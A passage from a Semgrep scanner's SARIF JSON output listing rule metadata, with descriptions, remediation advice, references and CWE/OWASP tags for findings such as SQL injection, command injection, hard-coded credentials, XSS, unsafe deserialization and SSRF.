can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.actix.sql.diesel-taint.diesel-taint)\n - [https://docs.rs/diesel/latest/diesel/](https://docs.rs/diesel/latest/diesel/)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/rust.actix.sql.diesel-taint.diesel-taint","id":"rust.actix.sql.diesel-taint.diesel-taint","name":"rust.actix.sql.diesel-taint.diesel-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: rust.actix.sql.diesel-taint.diesel-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.spring.tainted-system-command.tainted-system-command)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"helpUri":"https://semgrep.dev/r/kotlin.spring.tainted-system-command.tainted-system-command","id":"kotlin.spring.tainted-system-command.tainted-system-command","name":"kotlin.spring.tainted-system-command.tainted-system-command","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.spring.tainted-system-command.tainted-system-command"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The `func ($O *$CODEC) ReadRequestBody($ARG $TYPE) error` function does not handle `nil` argument, as the `ServerCodec` interface requires. An incorrect implementation could lead to denial of service"},"help":{"markdown":"The `func ($O *$CODEC) ReadRequestBody($ARG $TYPE) error` function does not handle `nil` argument, as the `ServerCodec` interface requires. An incorrect implementation could lead to denial of service\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/trailofbits.go.servercodec-readrequestbody-unhandled-nil.servercodec-readrequestbody-unhandled-nil)\n - [https://github.com/golang/go/blob/go1.15.2/src/net/rpc/server.go#L643-L658](https://github.com/golang/go/blob/go1.15.2/src/net/rpc/server.go#L643-L658)\n","text":"The `func ($O *$CODEC) ReadRequestBody($ARG $TYPE) error` function does not handle `nil` argument, as the `ServerCodec` interface requires. An incorrect implementation could lead to denial of service"},"helpUri":"https://semgrep.dev/r/trailofbits.go.servercodec-readrequestbody-unhandled-nil.servercodec-readrequestbody-unhandled-nil","id":"trailofbits.go.servercodec-readrequestbody-unhandled-nil.servercodec-readrequestbody-unhandled-nil","name":"trailofbits.go.servercodec-readrequestbody-unhandled-nil.servercodec-readrequestbody-unhandled-nil","properties":{"precision":"very-high","tags":["CWE-476: NULL Pointer Dereference","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: trailofbits.go.servercodec-readrequestbody-unhandled-nil.servercodec-readrequestbody-unhandled-nil"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.lang.security.net.secrets.hardcoded-secret-in-request-header-encoded.hardcoded-secret-in-request-header-encoded)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.lang.security.net.secrets.hardcoded-secret-in-request-header-encoded.hardcoded-secret-in-request-header-encoded","id":"kotlin.lang.security.net.secrets.hardcoded-secret-in-request-header-encoded.hardcoded-secret-in-request-header-encoded","name":"kotlin.lang.security.net.secrets.hardcoded-secret-in-request-header-encoded.hardcoded-secret-in-request-header-encoded","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.lang.security.net.secrets.hardcoded-secret-in-request-header-encoded.hardcoded-secret-in-request-header-encoded"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.net.http.urlconnection-hardcoded-secret-in-request-header.urlconnection-hardcoded-secret-in-request-header)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/java.lang.security.net.http.urlconnection-hardcoded-secret-in-request-header.urlconnection-hardcoded-secret-in-request-header","id":"java.lang.security.net.http.urlconnection-hardcoded-secret-in-request-header.urlconnection-hardcoded-secret-in-request-header","name":"java.lang.security.net.http.urlconnection-hardcoded-secret-in-request-header.urlconnection-hardcoded-secret-in-request-header","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.net.http.urlconnection-hardcoded-secret-in-request-header.urlconnection-hardcoded-secret-in-request-header"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.tokio-postgres.empty-password.empty-password)\n - [https://docs.rs/tokio-postgres/latest/tokio_postgres/](https://docs.rs/tokio-postgres/latest/tokio_postgres/)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.tokio-postgres.empty-password.empty-password","id":"rust.secrets.tokio-postgres.empty-password.empty-password","name":"rust.secrets.tokio-postgres.empty-password.empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.tokio-postgres.empty-password.empty-password"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found usage of the 'monetary' argument in a function call of 'locale.format_string'. This is only available on Python 3.7+ and is therefore not backwards compatible. Instead, remove the 'monetary' argument."},"help":{"markdown":"Found usage of the 'monetary' argument in a function call of 'locale.format_string'. This is only available on Python 3.7+ and is therefore not backwards compatible. Instead, remove the 'monetary' argument.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-locale1)\n","text":"Found usage of the 'monetary' argument in a function call of 'locale.format_string'. This is only available on Python 3.7+ and is therefore not backwards compatible. Instead, remove the 'monetary' argument."},"helpUri":"https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-locale1","id":"python.lang.compatibility.python37.python37-compatibility-locale1","name":"python.lang.compatibility.python37.python37-compatibility-locale1","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.lang.compatibility.python37.python37-compatibility-locale1"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"By letting user input control CORS parameters, there is a risk that software does not properly verify that the source of data or communication is valid. Use literal values for CORS settings."},"help":{"markdown":"By letting user input control CORS parameters, there is a risk that software does not properly verify that the source of data or communication is valid. Use literal values for CORS settings.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.cors-misconfiguration.cors-misconfiguration)\n - [https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS)\n","text":"By letting user input control CORS parameters, there is a risk that software does not properly verify that the source of data or communication is valid. Use literal values for CORS settings."},"helpUri":"https://semgrep.dev/r/javascript.express.security.cors-misconfiguration.cors-misconfiguration","id":"javascript.express.security.cors-misconfiguration.cors-misconfiguration","name":"javascript.express.security.cors-misconfiguration.cors-misconfiguration","properties":{"precision":"very-high","tags":["CWE-346: Origin Validation Error","MEDIUM CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.cors-misconfiguration.cors-misconfiguration"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"URL rewriting has significant security risks. Since session ID appears in the URL, it may be easily seen by third parties."},"help":{"markdown":"URL rewriting has significant security risks. Since session ID appears in the URL, it may be easily seen by third parties.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.url-rewriting.url-rewriting)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"URL rewriting has significant security risks. Since session ID appears in the URL, it may be easily seen by third parties."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.url-rewriting.url-rewriting","id":"java.lang.security.audit.url-rewriting.url-rewriting","name":"java.lang.security.audit.url-rewriting.url-rewriting","properties":{"precision":"very-high","tags":["CWE-200: Exposure of Sensitive Information to an Unauthorized Actor","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.url-rewriting.url-rewriting"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.sqlx.empty-password.empty-password)\n - [https://docs.rs/sqlx/latest/sqlx/](https://docs.rs/sqlx/latest/sqlx/)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.sqlx.empty-password.empty-password","id":"rust.secrets.sqlx.empty-password.empty-password","name":"rust.secrets.sqlx.empty-password.empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.sqlx.empty-password.empty-password"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. For more information, see: [Java command injection prevention](https://semgrep.dev/docs/cheat-sheets/java-command-injection/)"},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. For more information, see: [Java command injection prevention](https://semgrep.dev/docs/cheat-sheets/java-command-injection/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.command-injection.tainted-system-command.tainted-system-command)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. For more information, see: [Java command injection prevention](https://semgrep.dev/docs/cheat-sheets/java-command-injection/)"},"helpUri":"https://semgrep.dev/r/java.spring.command-injection.tainted-system-command.tainted-system-command","id":"java.spring.command-injection.tainted-system-command.tainted-system-command","name":"java.spring.command-injection.tainted-system-command.tainted-system-command","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.command-injection.tainted-system-command.tainted-system-command"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"ASP.NET applications built with `debug` set to true in production may leak debug information to attackers. Debug mode also affects performance and reliability. Set `debug` to `false` or remove it from `<compilation ... />`"},"help":{"markdown":"ASP.NET applications built with `debug` set to true in production may leak debug information to attackers. Debug mode also affects performance and reliability. Set `debug` to `false` or remove it from `<compilation ... />`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet.security.net-webconfig-debug.net-webconfig-debug)\n - [https://web.archive.org/web/20190919105353/https://blogs.msdn.microsoft.com/prashant_upadhyay/2011/07/14/why-debugfalse-in-asp-net-applications-in-production-environment/](https://web.archive.org/web/20190919105353/https://blogs.msdn.microsoft.com/prashant_upadhyay/2011/07/14/why-debugfalse-in-asp-net-applications-in-production-environment/)\n - [https://msdn.microsoft.com/en-us/library/e8z01xdh.aspx](https://msdn.microsoft.com/en-us/library/e8z01xdh.aspx)\n","text":"ASP.NET applications built with `debug` set to true in production may leak debug information to attackers. Debug mode also affects performance and reliability. Set `debug` to `false` or remove it from `<compilation ... />`"},"helpUri":"https://semgrep.dev/r/csharp.dotnet.security.net-webconfig-debug.net-webconfig-debug","id":"csharp.dotnet.security.net-webconfig-debug.net-webconfig-debug","name":"csharp.dotnet.security.net-webconfig-debug.net-webconfig-debug","properties":{"precision":"very-high","tags":["CWE-11: ASP.NET Misconfiguration: Creating Debug Binary","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet.security.net-webconfig-debug.net-webconfig-debug"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. To be sure this is safe, check that the HTML is rendered safely. Otherwise, use templates which will safely render HTML instead."},"help":{"markdown":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. To be sure this is safe, check that the HTML is rendered safely. Otherwise, use templates which will safely render HTML instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.security.tainted-html-string.tainted-html-string)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. To be sure this is safe, check that the HTML is rendered safely. Otherwise, use templates which will safely render HTML instead."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.security.tainted-html-string.tainted-html-string","id":"python.aws-lambda.security.tainted-html-string.tainted-html-string","name":"python.aws-lambda.security.tainted-html-string.tainted-html-string","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.security.tainted-html-string.tainted-html-string"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Avoid 'gets()'. This function does not consider buffer boundaries and can lead to buffer overflows. Use 'fgets()' or 'gets_s()' instead."},"help":{"markdown":"Avoid 'gets()'. This function does not consider buffer boundaries and can lead to buffer overflows. Use 'fgets()' or 'gets_s()' instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/c.lang.security.insecure-use-gets-fn.insecure-use-gets-fn)\n - [https://us-cert.cisa.gov/bsi/articles/knowledge/coding-practices/fgets-and-gets_s](https://us-cert.cisa.gov/bsi/articles/knowledge/coding-practices/fgets-and-gets_s)\n","text":"Avoid 'gets()'. This function does not consider buffer boundaries and can lead to buffer overflows. Use 'fgets()' or 'gets_s()' instead."},"helpUri":"https://semgrep.dev/r/c.lang.security.insecure-use-gets-fn.insecure-use-gets-fn","id":"c.lang.security.insecure-use-gets-fn.insecure-use-gets-fn","name":"c.lang.security.insecure-use-gets-fn.insecure-use-gets-fn","properties":{"precision":"very-high","tags":["CWE-676: Use of Potentially Dangerous Function","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: c.lang.security.insecure-use-gets-fn.insecure-use-gets-fn"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `ruamel.yaml` library is a YAML parser that is as powerful as `pickle`, using it to parse untrusted data can lead to object deserialization vulnerabilities. Starting from `ruamel.yaml` version 0.15.0 the default loader (`typ='rt'`) is a direct derivative of the safe loader and so this parser is secure by default. If the usage of an unsafe loader is intentional, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly specify `typ='unsafe'`, to use a safe loader. Before version 0.15.0, use the optional argument `Loader` with value `SafeLoader` or `CSafeLoader`, or use the `safe_load` function."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `ruamel.yaml` library is a YAML parser that is as powerful as `pickle`, using it to parse untrusted data can lead to object deserialization vulnerabilities. Starting from `ruamel.yaml` version 0.15.0 the default loader (`typ='rt'`) is a direct derivative of the safe loader and so this parser is secure by default. If the usage of an unsafe loader is intentional, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly specify `typ='unsafe'`, to use a safe loader. Before version 0.15.0, use the optional argument `Loader` with value `SafeLoader` or `CSafeLoader`, or use the `safe_load` function.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.deserialization.tainted-ruamel-django.tainted-ruamel-django)\n - [https://cwe.mitre.org/data/definitions/502.html](https://cwe.mitre.org/data/definitions/502.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://nvd.nist.gov/vuln/detail/CVE-2017-18342](https://nvd.nist.gov/vuln/detail/CVE-2017-18342)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://yaml.readthedocs.io/en/latest/api/](https://yaml.readthedocs.io/en/latest/api/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `ruamel.yaml` library is a YAML parser that is as powerful as `pickle`, using it to parse untrusted data can lead to object deserialization vulnerabilities. Starting from `ruamel.yaml` version 0.15.0 the default loader (`typ='rt'`) is a direct derivative of the safe loader and so this parser is secure by default. If the usage of an unsafe loader is intentional, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly specify `typ='unsafe'`, to use a safe loader. Before version 0.15.0, use the optional argument `Loader` with value `SafeLoader` or `CSafeLoader`, or use the `safe_load` function."},"helpUri":"https://semgrep.dev/r/python.django.deserialization.tainted-ruamel-django.tainted-ruamel-django","id":"python.django.deserialization.tainted-ruamel-django.tainted-ruamel-django","name":"python.django.deserialization.tainted-ruamel-django.tainted-ruamel-django","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.deserialization.tainted-ruamel-django.tainted-ruamel-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected string concatenation with a non-literal variable in a pg8000 Python SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can create parameterized queries like so: 'conn.run(\"SELECT :value FROM table\", value=myvalue)'. You can also create prepared statements with 'conn.prepare': 'conn.prepare(\"SELECT (:v) FROM table\")'"},"help":{"markdown":"Detected string concatenation with a non-literal variable in a pg8000 Python SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can create parameterized queries like so: 'conn.run(\"SELECT :value FROM table\", value=myvalue)'. You can also create prepared statements with 'conn.prepare': 'conn.prepare(\"SELECT (:v) FROM table\")'\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.sqli.pg8000-sqli.pg8000-sqli)\n - [https://github.com/tlocke/pg8000](https://github.com/tlocke/pg8000)\n","text":"Detected string concatenation with a non-literal variable in a pg8000 Python SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can create parameterized queries like so: 'conn.run(\"SELECT :value FROM table\", value=myvalue)'. You can also create prepared statements with 'conn.prepare': 'conn.prepare(\"SELECT (:v) FROM table\")'"},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.sqli.pg8000-sqli.pg8000-sqli","id":"python.lang.security.audit.sqli.pg8000-sqli.pg8000-sqli","name":"python.lang.security.audit.sqli.pg8000-sqli.pg8000-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.sqli.pg8000-sqli.pg8000-sqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.tainted-url-to-httpful.tainted-url-to-httpful)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n - [https://github.com/nategood/httpful](https://github.com/nategood/httpful)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/php.lang.security.tainted-url-to-httpful.tainted-url-to-httpful","id":"php.lang.security.tainted-url-to-httpful.tainted-url-to-httpful","name":"php.lang.security.tainted-url-to-httpful.tainted-url-to-httpful","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.tainted-url-to-httpful.tainted-url-to-httpful"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found usage of 'importlib.abc.ResourceReader'. This module is only available on Python 3.7+ and is therefore not backwards compatible. Instead, use another loader."},"help":{"markdown":"Found usage of 'importlib.abc.ResourceReader'. This module is only available on Python 3.7+ and is therefore not backwards compatible. Instead, use another loader.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-importlib3)\n","text":"Found usage of 'importlib.abc.ResourceReader'. This module is only available on Python 3.7+ and is therefore not backwards compatible. Instead, use another loader."},"helpUri":"https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-importlib3","id":"python.lang.compatibility.python37.python37-compatibility-importlib3","name":"python.lang.compatibility.python37.python37-compatibility-importlib3","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.lang.compatibility.python37.python37-compatibility-importlib3"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Amazon MWS Auth Token detected"},"help":{"markdown":"Amazon MWS Auth Token detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-amazon-mws-auth-token.detected-amazon-mws-auth-token)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Amazon MWS Auth Token 